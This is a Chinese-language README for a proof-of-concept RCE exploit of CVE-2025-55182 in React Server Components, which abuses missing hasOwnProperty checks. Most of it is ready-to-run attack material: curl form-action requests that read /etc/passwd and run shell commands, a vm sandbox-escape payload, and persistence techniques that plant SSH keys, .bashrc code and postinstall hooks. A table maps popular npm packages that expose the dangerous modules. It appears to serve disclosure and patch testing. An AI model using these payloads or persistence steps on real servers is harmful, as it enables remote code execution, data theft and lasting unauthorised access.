本 PoC 使用实际的 [email protected] 漏洞代码演示 CVE-2025-55182。
# 安装依赖
npm install
# 启动漏洞服务器（端口 3002）
npm start
# 运行 RCE 利用
npm run exploit
=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# 服务器
npm start # 启动主服务器 (server-realistic.js, 端口 3002)
npm run start:legacy # 启动旧版服务器 (server.js, 端口 3002)
# 利用
npm run exploit # RCE 演示（使用 vm，适用于：vm、child_process、fs）
npm run exploit:all # 测试所有利用方式
npm run exploit:persistence # 持久化攻击（仅 fs）
# 先启动服务器
npm start
# 测试 fs 读取
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# 测试命令执行
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# 测试 vm 代码执行
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# 测试原型链访问
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| 文件 | 端口 | 描述 |
|---|---|---|
src/server-realistic.js | 3002 | 主服务器 - 模拟包含常见模块（fs、vm、child_process）的 webpack 打包文件 |
src/server.js | 3002 | 旧版服务器（使用直接 require） |
| 文件 | 描述 |
|---|---|
exploit-rce-v4.js | 主要 RCE 通过 vm#runInThisContext |
exploit-all-gadgets.js | 测试所有 RCE 利用方式（vm、child_process、fs） |
exploit-persistence.js | 持久化攻击（SSH 密钥、.bashrc） |
模拟真实的 webpack 打包文件，其中应用通过依赖关系通常包含危险模块：
// 打包模块（使用常见包时会包含的内容）
const BUNDLED_MODULES = {
'actions-chunk-123': { /* 用户的服务器操作 */ },
'fs': require('fs'), // 通过 fs-extra、gray-matter、multer
'child_process': require('child_process'), // 通过 execa、shelljs、puppeteer
'vm': require('vm'), // 通过 ejs、pug、handlebars
'util': require('util'),
};
__webpack_require__ 函数仅从 BUNDLED_MODULES 加载模块，模拟真实的 webpack 行为。
在 requireModule() 中，导出通过方括号语法访问，未进行 hasOwnProperty 检查：
// 存在漏洞（React 19.0.0）
return moduleExports[metadata[2]]; // 访问了原型链！
// 已修复（React 19.2.1）
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0id: 'vm#runInThisContext' 加载 vm 模块，访问 runInThisContext 导出bound 数组成为函数的参数runInThisContext(CODE) 执行任意代码| 利用方式 | 状态 | 描述 |
|---|---|---|
vm#runInThisContext | ✓ | 在当前上下文中执行任意 JS |
vm#runInNewContext | ✓ | 在“沙箱”中执行（易于逃逸） |
child_process#execSync | ✓ | 直接执行 shell 命令 |
child_process#execFileSync | ✓ | 执行二进制文件 |
child_process#spawnSync | ✓ | 生成进程（返回对象） |
fs#readFileSync | ✓ | 读取任意文件 |
fs#writeFileSync | ✓ | 写入任意文件 |
执行 shell 命令 (whoami)：
{ id: 'child_process#execSync', bound: ['whoami'] }
读取敏感文件：
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
写入文件：
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
执行任意 JavaScript：
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
沙箱逃逸 (vm.runInNewContext)：
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
对于直接 RCE：是的，你需要以下之一：
vm 模块（runInThisContext、runInNewContext）child_process 模块（execSync、execFileSync、spawnSync）对于间接 RCE（仅 fs）：不需要！仅需 fs 即可：
~/.ssh/authorized_keys → SSH 访问~/.bashrc → 下次登录时执行代码node_modules/* → 应用重启时 RCEpackage.json 的 postinstall → 下次 npm install 时 RCE| 版本 | 攻击 | 结果 |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ 成功实现 RCE |
| React 19.2.1 | vm#runInThisContext | ✗ 已阻止 |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# 攻击将失败
有关包含危险模块的流行 npm 包的研究，请参见 VULNERABLE-PACKAGES.md：
| 模块 | 周下载量 | 流行包 |
|---|---|---|
fs | 145M+ | fs-extra、gray-matter、multer、sharp |
child_process | 103M+ | execa、shelljs、puppeteer、sharp |
vm | 21M+ | ejs、pug、handlebars、vm2 |